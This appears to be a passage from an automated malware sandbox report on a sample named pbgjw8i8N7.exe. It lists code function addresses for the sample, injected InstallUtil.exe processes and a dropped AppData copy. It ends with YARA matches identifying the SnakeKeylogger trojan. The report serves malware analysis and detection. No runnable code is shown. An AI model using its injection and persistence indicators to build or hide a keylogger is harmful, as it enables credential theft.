Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_051E1622	0_2_051E1622
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_051E1E83	0_2_051E1E83
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_051E1EC2	0_2_051E1EC2
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_051E49B8	0_2_051E49B8
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_051E0006	0_2_051E0006
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_051E0040	0_2_051E0040
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_051E1B78	0_2_051E1B78
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_051E1B6C	0_2_051E1B6C
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_051E1BA7	0_2_051E1BA7
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_051E33A0	0_2_051E33A0
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_051E1BEC	0_2_051E1BEC
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_051E1A80	0_2_051E1A80
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_051E1AFB	0_2_051E1AFB
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_05250040	0_2_05250040
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_0525BB20	0_2_0525BB20
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_05252460	0_2_05252460
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_05252450	0_2_05252450
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_052538A8	0_2_052538A8
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_05253898	0_2_05253898
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_0525BB10	0_2_0525BB10
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_0526A0F8	0_2_0526A0F8
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_0542A758	0_2_0542A758
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_054203D5	0_2_054203D5
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_0542DAC0	0_2_0542DAC0
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_05429AEC	0_2_05429AEC
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_05427400	0_2_05427400
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_0542A749	0_2_0542A749
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_05420040	0_2_05420040
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_05420006	0_2_05420006
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_0542F0B8	0_2_0542F0B8
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_054273F0	0_2_054273F0
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_0542DDE7	0_2_0542DDE7
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_054CE120	0_2_054CE120
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_054B0040	0_2_054B0040
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_054B0006	0_2_054B0006
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_00CE2944	1_2_00CE2944
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_00CE32D0	1_2_00CE32D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_00CE4270	1_2_00CE4270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_00CE2938	1_2_00CE2938
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_00CEEE28	1_2_00CEEE28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_00CE1DF8	1_2_00CE1DF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_00CE1E08	1_2_00CE1E08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_028DD278	1_2_028DD278
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_028D5360	1_2_028D5360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_028DA088	1_2_028DA088
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_028DC146	1_2_028DC146
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_028DC738	1_2_028DC738
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_028DC468	1_2_028DC468
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_028DCA08	1_2_028DCA08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_028DE988	1_2_028DE988
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_028D69A0	1_2_028D69A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_028DCFA9	1_2_028DCFA9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_028D6FC8	1_2_028D6FC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_028DCCD8	1_2_028DCCD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_028DFAC1	1_2_028DFAC1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_028D39ED	1_2_028D39ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_028D29EC	1_2_028D29EC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_028DE97B	1_2_028DE97B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_028D3E09	1_2_028D3E09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064B2610	1_2_064B2610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064B8FE8	1_2_064B8FE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064B1850	1_2_064B1850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064B4CE8	1_2_064B4CE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064B9930	1_2_064B9930
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064B2600	1_2_064B2600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064BF619	1_2_064BF619
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064BD629	1_2_064BD629
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064BF628	1_2_064BF628
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064BD638	1_2_064BD638
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064BDAC8	1_2_064BDAC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064BFAA9	1_2_064BFAA9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064BDAB9	1_2_064BDAB9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064BFAB8	1_2_064BFAB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064BDF49	1_2_064BDF49
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064BDF58	1_2_064BDF58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064B9710	1_2_064B9710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064B0B20	1_2_064B0B20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064B0B30	1_2_064B0B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064B8FD8	1_2_064B8FD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064BE3D8	1_2_064BE3D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064BE3E8	1_2_064BE3E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064B1841	1_2_064B1841
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064B0040	1_2_064B0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064B8850	1_2_064B8850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064BE868	1_2_064BE868
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064B8860	1_2_064B8860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064BE878	1_2_064BE878
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064B003F	1_2_064B003F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064B4CDE	1_2_064B4CDE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064BECF8	1_2_064BECF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064BED08	1_2_064BED08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064BF188	1_2_064BF188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064BF198	1_2_064BF198
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064BD198	1_2_064BD198
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064BD1A8	1_2_064BD1A8
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_00E01930	3_2_00E01930
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_00E01921	3_2_00E01921
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_00E02BA2	3_2_00E02BA2
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_00E01BB0	3_2_00E01BB0
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_00E01B4D	3_2_00E01B4D
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_00E01C06	3_2_00E01C06
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_00E02613	3_2_00E02613
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_00E02618	3_2_00E02618
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_0506956B	3_2_0506956B
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_05065660	3_2_05065660
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_0506F850	3_2_0506F850
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_05067BF7	3_2_05067BF7
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_05061C39	3_2_05061C39
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_05061C48	3_2_05061C48
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_0506DB6F	3_2_0506DB6F
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_051B7118	3_2_051B7118
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_051B710A	3_2_051B710A
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_051BE9B0	3_2_051BE9B0
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_051B77CF	3_2_051B77CF
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_051B0A5F	3_2_051B0A5F
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_051B0A70	3_2_051B0A70
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_05271A90	3_2_05271A90
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_05271DBF	3_2_05271DBF
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_05271DF9	3_2_05271DF9
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_05271622	3_2_05271622
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_05271630	3_2_05271630
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_05271E83	3_2_05271E83
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_05271EC2	3_2_05271EC2
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_052749B8	3_2_052749B8
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_05270006	3_2_05270006
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_05270040	3_2_05270040
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_05271B6C	3_2_05271B6C
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_05271B78	3_2_05271B78
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_05271BA7	3_2_05271BA7
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_052733A0	3_2_052733A0
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_05271BEC	3_2_05271BEC
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_05271A80	3_2_05271A80
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_05271AFB	3_2_05271AFB
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_052E0040	3_2_052E0040
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_052E2460	3_2_052E2460
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_052E2450	3_2_052E2450
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_052E38A8	3_2_052E38A8
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_052E3898	3_2_052E3898
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_052FA0F8	3_2_052FA0F8
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_054B03D5	3_2_054B03D5
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_054BDAC0	3_2_054BDAC0
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_054B9AEC	3_2_054B9AEC
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_054B7400	3_2_054B7400
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_054BA74C	3_2_054BA74C
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_054BA758	3_2_054BA758
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_054B0040	3_2_054B0040
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_054B0006	3_2_054B0006
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_054BF0B8	3_2_054BF0B8
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_054B73F0	3_2_054B73F0
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_054BDDE7	3_2_054BDDE7
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_0555E120	3_2_0555E120
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_05540040	3_2_05540040
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_05540006	3_2_05540006
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_006242FD	4_2_006242FD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_006221F8	4_2_006221F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_00622208	4_2_00622208
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_0228D278	4_2_0228D278
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_02285370	4_2_02285370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_0228C147	4_2_0228C147
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_0228C738	4_2_0228C738
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_0228C468	4_2_0228C468
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_0228CA08	4_2_0228CA08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_022869A0	4_2_022869A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_0228E988	4_2_0228E988
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_02283E09	4_2_02283E09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_0228CFAA	4_2_0228CFAA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_02286FC8	4_2_02286FC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_0228CCD8	4_2_0228CCD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_02289DE0	4_2_02289DE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_02283AA1	4_2_02283AA1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_0228F961	4_2_0228F961
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_0228E97A	4_2_0228E97A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_022829EC	4_2_022829EC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_022839EF	4_2_022839EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_05E69408	4_2_05E69408
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_05E65108	4_2_05E65108
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_05E61850	4_2_05E61850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_05E69AD8	4_2_05E69AD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_05E62A10	4_2_05E62A10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_05E6ED20	4_2_05E6ED20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_05E6ED10	4_2_05E6ED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_05E68C80	4_2_05E68C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_05E68C70	4_2_05E68C70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_05E6E400	4_2_05E6E400
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_05E6DF61	4_2_05E6DF61
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_05E6DF70	4_2_05E6DF70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_05E6F640	4_2_05E6F640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_05E6D641	4_2_05E6D641
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_05E6D650	4_2_05E6D650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_05E6F631	4_2_05E6F631
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_05E6D1C0	4_2_05E6D1C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_05E6F1A0	4_2_05E6F1A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_05E6F1B0	4_2_05E6F1B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_05E6D1B0	4_2_05E6D1B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_05E650FE	4_2_05E650FE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_05E6E880	4_2_05E6E880
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_05E6E890	4_2_05E6E890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_05E60040	4_2_05E60040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_05E61841	4_2_05E61841
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_05E6003F	4_2_05E6003F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_05E6E3F0	4_2_05E6E3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_05E693F8	4_2_05E693F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_05E60B20	4_2_05E60B20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_05E60B30	4_2_05E60B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_05E6DAE0	4_2_05E6DAE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_05E6FAC1	4_2_05E6FAC1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_05E6FAD0	4_2_05E6FAD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_05E6DAD1	4_2_05E6DAD1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_05E62A00	4_2_05E62A00

Source: pbgjw8i8N7.exe, 00000000.00000002.1353290642.0000000005430000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs pbgjw8i8N7.exe
Source: pbgjw8i8N7.exe, 00000000.00000002.1328913885.0000000000A5E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs pbgjw8i8N7.exe
Source: pbgjw8i8N7.exe, 00000000.00000002.1349861546.0000000003ACD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs pbgjw8i8N7.exe
Source: pbgjw8i8N7.exe, 00000000.00000002.1349861546.0000000003ACD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameJurfzqn.exe0 vs pbgjw8i8N7.exe
Source: pbgjw8i8N7.exe, 00000000.00000002.1349861546.0000000003ACD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs pbgjw8i8N7.exe
Source: pbgjw8i8N7.exe, 00000000.00000002.1331701274.0000000002BB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs pbgjw8i8N7.exe
Source: pbgjw8i8N7.exe, 00000000.00000002.1349861546.0000000003A53000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameHlrtmvgi.dll" vs pbgjw8i8N7.exe
Source: pbgjw8i8N7.exe, 00000000.00000000.1316815148.0000000000312000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameJurfzqn.exe0 vs pbgjw8i8N7.exe
Source: pbgjw8i8N7.exe, 00000000.00000002.1353607165.00000000054D0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs pbgjw8i8N7.exe
Source: pbgjw8i8N7.exe, 00000000.00000002.1331701274.0000000002971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs pbgjw8i8N7.exe
Source: pbgjw8i8N7.exe, 00000000.00000002.1349861546.00000000039B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs pbgjw8i8N7.exe
Source: pbgjw8i8N7.exe, 00000000.00000002.1351346370.0000000004D70000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameHlrtmvgi.dll" vs pbgjw8i8N7.exe
Source: pbgjw8i8N7.exe, 00000000.00000002.1349861546.0000000003A7C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs pbgjw8i8N7.exe
Source: pbgjw8i8N7.exe	Binary or memory string: OriginalFilenameJurfzqn.exe0 vs pbgjw8i8N7.exe

Source: pbgjw8i8N7.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 1.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 1.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.pbgjw8i8N7.exe.3d0c7d0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.pbgjw8i8N7.exe.3d0c7d0.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.pbgjw8i8N7.exe.3d0c7d0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
